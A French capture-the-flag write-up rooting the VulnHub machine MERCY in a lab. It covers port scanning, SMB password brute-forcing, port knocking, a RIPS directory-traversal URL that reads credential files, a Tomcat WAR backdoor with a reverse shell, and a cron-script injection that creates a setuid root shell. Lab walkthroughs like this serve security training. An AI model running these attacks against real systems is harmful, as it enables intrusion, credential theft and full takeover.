MERCY est un CTF proposé sur VulnHub qui fait partie d’une série baptisée digitalworld.local. Les CTFs ont été créés par un certain Donavan.
J’ai déjà résolu le CTF Bravery qui fait partie de cette série.
L’homme qui murmurait à l’oreille des ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ sudo nmap -sCV -p- -T5 192.168.56.118
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 13:08 CET
Nmap scan report for 192.168.56.118
Host is up (0.00047s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.17-Ubuntu
80/tcp filtered http
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CODES SASL STLS TOP AUTH-RESP-CODE PIPELINING UIDL CAPA
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: LOGINDISABLEDA0001 more SASL-IR IDLE ENABLE have post-login capabilities listed LOGIN-REFERRALS LITERAL+ ID IMAP4rev1 Pre-login STARTTLS OK
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after: 2028-08-23T13:22:55
995/tcp open ssl/pop3s?
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after: 2028-08-23T13:22:55
|_ssl-date: TLS randomness does not represent time
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
| http-robots.txt: 1 disallowed entry
|_/tryharder/tryharder
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat
MAC Address: 08:00:27:10:02:A8 (Oracle VirtualBox virtual NIC)
Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2023-03-06T16:08:52
|_ start_date: N/A
|_clock-skew: mean: -1h40m02s, deviation: 4h37m07s, median: 59m57s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: mercy
| NetBIOS computer name: MERCY\x00
| Domain name: \x00
| FQDN: mercy
|_ System time: 2023-03-07T00:08:51+08:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.15 seconds
Intéressant, on note que les ports 80 et 22 sont derrières un pare-feu.
SMB / Netbios étant ouverts je vais fouiller de ce côté avec les outils habituels :
1
2
3
4
5
6
7
8
9
10
$ smbclient -U "" -N -L //192.168.56.118
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
qiu Disk
IPC$ IPC IPC Service (MERCY server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
$ smbclient -U "" -N //192.168.56.118/qiu
tree connect failed: NT_STATUS_ACCESS_DENIED
Il y a donc un partage nommé qiu
mais on ne peut pas y accéder anonymement.
Utilisons un script NSE pour énumérer les utilisateurs :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 192.168.56.118
[sudo] Mot de passe de root :
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 13:18 CET
Nmap scan report for 192.168.56.118
Host is up (0.00043s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
137/udp open netbios-ns
MAC Address: 08:00:27:10:02:A8 (Oracle VirtualBox virtual NIC)
Host script results:
| smb-enum-users:
| MERCY\pleadformercy (RID: 1000)
| Full name: QIU
| Description:
| Flags: Normal user account
| MERCY\qiu (RID: 1001)
| Full name:
| Description:
|_ Flags: Normal user account
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
On a deux utilisateurs. Tentons de brute-forcer un mot de passe.
Cette fois je suis passé directement à mon script brute_smb_share: Brute force a SMB share plutôt que de tenter un Hydra et autres :
1
2
3
4
5
6
7
8
9
$ python3 brute_smb_share.py 192.168.56.118 qiu users.txt tools/wordlists/rockyou.txt
Success with user qiu and password password
.bashrc
.public
.bash_history
.cache
.private
.bash_logout
.profile
Avec ce mot de passe faible (password
) je peux me connecter au partage SMB avec le compte qiu
. On peut lire son historique bash :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
exit
cd ../
cd home
cd qiu
cd .secrets
ls -al
cd .private
ls
cd secrets
ls
ls -al
cd ../
ls -al
cd opensesame
ls -al
./configprint
sudo configprint
sudo su -
exit
On trouve aussi un script baptisé configprint
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash
echo "Here are settings for your perusal." > config
echo "" >> config
echo "Port Knocking Daemon Configuration" >> config
echo "" >> config
cat "/etc/knockd.conf" >> config
echo "" >> config
echo "Apache2 Configuration" >> config
echo "" >> config
cat "/etc/apache2/apache2.conf" >> config
echo "" >> config
echo "Samba Configuration" >> config
echo "" >> config
cat "/etc/samba/smb.conf" >> config
echo "" >> config
echo "For other details of MERCY, please contact your system administrator." >> config
chown qiu:qiu config
Il génère un fichier config
qui est la concaténation de différents fichiers. Seul le début nous intéresse :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Here are settings for your perusal.
Port Knocking Daemon Configuration
[options]
UseSyslog
[openHTTP]
sequence = 159,27391,4
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn
[closeHTTP]
sequence = 4,27391,159
seq_timeout = 100
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn
[openSSH]
sequence = 17301,28504,9999
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9999,28504,17301
seq_timeout = 100
command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
On peut port-knocker pour ouvrir le port SSH avec une séquence de ports. J’ai bêtement utilisé une suite de ncat
:
1
ncat -w 1 -z 192.168.56.118 17301; ncat -w 1 -z 192.168.56.118 28504; ncat -w 1 -z 192.168.56.118 9999
J’ai tenté de me connecter au SSH avec les identifiants qiu
/ password
. On atteint bien le serveur, mais le mot de passe est refusé.
On a aussi la config du Samba et on a la confirmation que l’on ne peut pas faire grand-chose avec ce partage qui est en lecture seule :
1
2
3
4
[qiu]
path = /home/qiu
valid users = qiu
read only = yes
J’ai donc port-knocké de la même façon, mais avec la séquence attendue pour ouvrir le port 80.
Il nettoyait son scanner et s’est tiré une balle dans le pied
De là j’ai lancé une énumération web :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ feroxbuster -u http://192.168.56.118/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.118/
🚀 Threads │ 50
📖 Wordlist │ ble-filepaths/filename-dirname-bruteforce/raft-large-files.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 5l 13w 90c http://192.168.56.118/index.html
403 10l 30w 290c http://192.168.56.118/.htaccess
200 1l 1w 67c http://192.168.56.118/login.html
200 3l 6w 50c http://192.168.56.118/robots.txt
200 5l 13w 90c http://192.168.56.118/
403 10l 30w 286c http://192.168.56.118/.html
403 10l 30w 285c http://192.168.56.118/.php
403 10l 30w 290c http://192.168.56.118/.htpasswd
403 10l 30w 285c http://192.168.56.118/.htm
403 10l 30w 291c http://192.168.56.118/.htpasswds
403 10l 30w 289c http://192.168.56.118/.htgroup
403 10l 30w 294c http://192.168.56.118/wp-forum.phps
403 10l 30w 294c http://192.168.56.118/.htaccess.bak
403 10l 30w 288c http://192.168.56.118/.htuser
403 10l 30w 285c http://192.168.56.118/.htc
403 10l 30w 284c http://192.168.56.118/.ht
403 10l 30w 294c http://192.168.56.118/.htaccess.old
403 10l 30w 289c http://192.168.56.118/.htacess
[####################] - 30s 37034/37034 0s found:18 errors:0
[####################] - 30s 37034/37034 1213/s http://192.168.56.118/
Le fichier robots.txt
contient deux entrées :
1
2
3
User-agent: *
Disallow: /mercy
Disallow: /nomercy
Sur /nomercy
on trouve une installation de RIPS
en version 0.53. RIPS
est un outil permettant d’auditer la sécurité du code PHP. Je l’ai déjà utilisé par le passé et il est plutôt efficace.
De mémoire, il fonctionne que sur du PHP non-objet, il faut payer une version commerciale pour le PHP orienté objet.
Quoi qu’il en soit je peux l’utiliser pour scanner ce qui se trouve sous la racine web en remontant l’arborescence :
RIPS
semble trouver une faille de directory traversal dans lui-même, ce qui n’est pas surprenant puisque le fait de lire les fichiers est une feature du logiciel.
À vrai dire j’aurais aussi pu chercher sur exploit-db : RIPS 0.53 - Multiple Local File Inclusions - PHP webapps Exploit
Notez que l’exploit indique file inclusion alors qu’aucune interprétation de code PHP n’a lieu.
Dans tous les cas je peux accéder au disque de cette façon :
http://192.168.56.118/nomercy/windows/code.php?file=/etc/passwd
J’obtiens alors la liste des utilisateurs dont ceux-ci :
1
2
3
4
5
tomcat7:x:116:126::/usr/share/tomcat7:/bin/false
pleadformercy:x:1000:1000:pleadformercy:/home/pleadformercy:/bin/bash
qiu:x:1001:1001:qiu:/home/qiu:/bin/bash
thisisasuperduperlonguser:x:1002:1002:,,,:/home/thisisasuperduperlonguser:/bin/bash
fluffy:x:1003:1003::/home/fluffy:/bin/sh
RIPS
permet aussi de scanner dans les fichiers en spécifiant une expression régulière. Malheureusement j’ai l’impression que les chemins auxquels l’application à accès se résument à /var/www/html
ou sans doute aux fichiers avec l’extension .php
.
Par conséquent, impossible d’utiliser le logiciel pour fouiller dans /home
.
Make a SHELL, not WAR
Je me rappelle alors que sur le port 8080 se trouve un serveur Tomcat qui demande des identifiants. J’utilise donc le directory traversal pour extraire le fichier de configuration de Tomcat contenant les identifiants (/etc/tomcat7/tomcat-users.xml
) :
1
2
<user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
<user username="fluffy" password="freakishfluffybunny" roles="none"/>
Aucun de ces mots de passe ne permet un accès SSH mais le premier donne bien un accès admin sur le Tomcat. Dès lors, on se rend sur http://192.168.56.118:8080/manager/html
pour uploader un fichier .war
.
J’ai d’abord essayé avec celui que j’avais utilisé notamment sur le CTF Thales : GitHub - p0dalirius/Tomcat-webshell-application: A webshell application and interactive shell for pentesting Apache Tomcat servers.
Malheureusement ce dernier ne semble pas fonctionner avec cette version de Tomcat, j’obtiens un status 500 et un message d’erreur trop Java à mon goût.
J’ai alors eu recours à tomcatWarDeployer (du moins un fork qui tente de corriger différents bugs dans la version officielle : GitHub - flavargues/tomcatWarDeployer: Apache Tomcat auto WAR deployment & pwning penetration testing tool.)
Pour autant ce n’est pas parfait :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ python tomcatWarDeployer.py -v -U thisisasuperduperlonguser -P heartbreakisinevitable -x -p 9999 -H 192.168.56.1 192.168.56.118:8080
tomcatWarDeployer (v. 0.5.2)
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16-18
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 192.168.56.1:9999.
DEBUG: Trying Creds: ["thisisasuperduperlonguser:heartbreakisinevitable"]:
Browsing to "http://192.168.56.118:8080/"...
DEBUG: Trying to fetch: "http://192.168.56.118:8080/"
DEBUG: Trying to fetch: "http://192.168.56.118:8080/manager"
DEBUG: Probably found something: Apache Tomcat/7.0.52 (Ubuntu)
INFO: Apache Tomcat/7.0.52 (Ubuntu) Manager Application reached & validated.
INFO: At: "http://192.168.56.118:8080/manager"
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpps99qama"
DEBUG: Working with Java at version: 11.0.18
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: b'adding: META-INF/ (in=0) (out=0) (stored 0%)\nadding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)\nadding: files/ (in=0) (out=0) (stored 0%)\nadding: files/META-INF/ (in=0) (out=0) (stored 0%)\nadding: files/META-INF/MANIFEST.MF (in=67) (out=66) (deflated 1%)\nadding: files/WEB-INF/ (in=0) (out=0) (stored 0%)\nadding: files/WEB-INF/web.xml (in=505) (out=254) (deflated 49%)\nadding: index.jsp (in=4495) (out=1684) (deflated 62%)\nTotal:\n------\n(in = 5107) (out = 2914) (deflated 42%)'
DEBUG: WAR file structure:
DEBUG: b'/tmp/tmpps99qama\n\xe2\x94\x9c\xe2\x94\x80\xe2\x94\x80 files\n\xe2\x94\x82\xc2\xa0\xc2\xa0 \xe2\x94\x9c\xe2\x94\x80\xe2\x94\x80 META-INF\n\xe2\x94\x82\xc2\xa0\xc2\xa0 \xe2\x94\x82\xc2\xa0\xc2\xa0 \xe2\x94\x94\xe2\x94\x80\xe2\x94\x80 MANIFEST.MF\n\xe2\x94\x82\xc2\xa0\xc2\xa0 \xe2\x94\x94\xe2\x94\x80\xe2\x94\x80 WEB-INF\n\xe2\x94\x82\xc2\xa0\xc2\xa0 \xe2\x94\x94\xe2\x94\x80\xe2\x94\x80 web.xml\n\xe2\x94\x94\xe2\x94\x80\xe2\x94\x80 index.jsp\n\n4 directories, 3 files'
DEBUG: Checking if app jsp_app is deployed at: http://192.168.56.118:8080/manager
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://http://192.168.56.118:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpps99qama"
INFO: WAR DEPLOYED! Invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.1:9999
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.118:8080/jsp_app/"
DEBUG: Adding 'X-Pass: PezMjeRnRaGZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.118:35122
DEBUG: Application invoked correctly.
INFO: ------------------------------------------------------------
INFO: JSP Backdoor up & running on http://192.168.56.118:8080/jsp_app/
INFO:
Happy pwning. Here take that password for web shell: 'PezMjeRnRaGZ'
INFO: ------------------------------------------------------------
Exception in thread Thread-1 (shellHandler):
Traceback (most recent call last):
File "/usr/lib64/python3.10/threading.py", line 1016, in _bootstrap_inner
self.run()
File "/usr/lib64/python3.10/threading.py", line 953, in run
self._target(*self._args, **self._kwargs)
File "/tmp/tomcatWarDeployer/tomcatWarDeployer/tomcatWarDeployer.py", line 229, in shellHandler
shellLoop(sock, host)
File "/tmp/tomcatWarDeployer/tomcatWarDeployer/tomcatWarDeployer.py", line 141, in shellLoop
if 'Microsoft Windows [Version' in initialRecv.decode():
AttributeError: 'str' object has no attribute 'decode'. Did you mean: 'encode'?
Il semble que le fork ait oublié de corriger quelques cas… Au moins il a laissé un webshell à l’URL présente dans l’output. J’en profite pour récupérer un reverse-ssh via wget
depuis ma machine et les affaires reprennent.
Je nettoyais mon bash et le coup est parti tout seul
Le second couple utilisateur / mot de passe qui était dans la configuration Tomcat permet la connexion via su
:
1
2
3
4
5
6
7
8
9
10
11
12
tomcat7@MERCY:/tmp$ su fluffy
Password:
Added user fluffy.
$ find . -ls
143983 4 drwxr-x--- 3 fluffy fluffy 4096 Nov 20 2018 .
143999 4 -rw------- 1 fluffy fluffy 12 Nov 20 2018 ./.bash_history
143991 4 drwxr-xr-x 3 fluffy fluffy 4096 Nov 20 2018 ./.private
270860 4 drwxr-xr-x 2 fluffy fluffy 4096 Nov 20 2018 ./.private/secrets
270862 4 -rwxr-xr-x 1 fluffy fluffy 37 Nov 20 2018 ./.private/secrets/backup.save
270861 4 -rwxrwxrwx 1 root root 222 Nov 20 2018 ./.private/secrets/timeclock
270863 4 -rw-r--r-- 1 fluffy fluffy 12 Nov 20 2018 ./.private/secrets/.secrets
L’utilisateur dispose d’un script qui est visiblement exécuté via une crontab :
1
2
3
4
5
6
7
$ cat .private/secrets/timeclock
#!/bin/bash
now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
En effet, le fichier mentionné est récent :
1
2
3
4
$ ls -al ../../../../../var/www/html/time
-rw-r--r-- 1 www-data www-data 79 Mar 7 05:27 ../../../../../var/www/html/time
$ date
Tue Mar 7 05:29:15 +08 2023
Ajouté à l’utilisation de chown
, on se dit qu’un utilisateur plus privilégié (donc root
) lance ce script.
Tentons le tout pour le tout :
1
2
3
4
5
6
7
8
9
10
11
12
$ echo "cp /bin/dash /tmp/;chmod 4755 /tmp/dash" >> .private/secrets/timeclock
$ sleep 60
$ ls -al /tmp/dash
-rwsr-xr-x 1 root root 112204 Mar 7 05:33 /tmp/dash
$ /tmp/dash
# id
uid=1003(fluffy) gid=1003(fluffy) euid=0(root) groups=0(root),1003(fluffy)
# cd /root
# ls
author-secret.txt config proof.txt
# cat proof.txt
Congratulations on rooting MERCY. :-)
Victoire !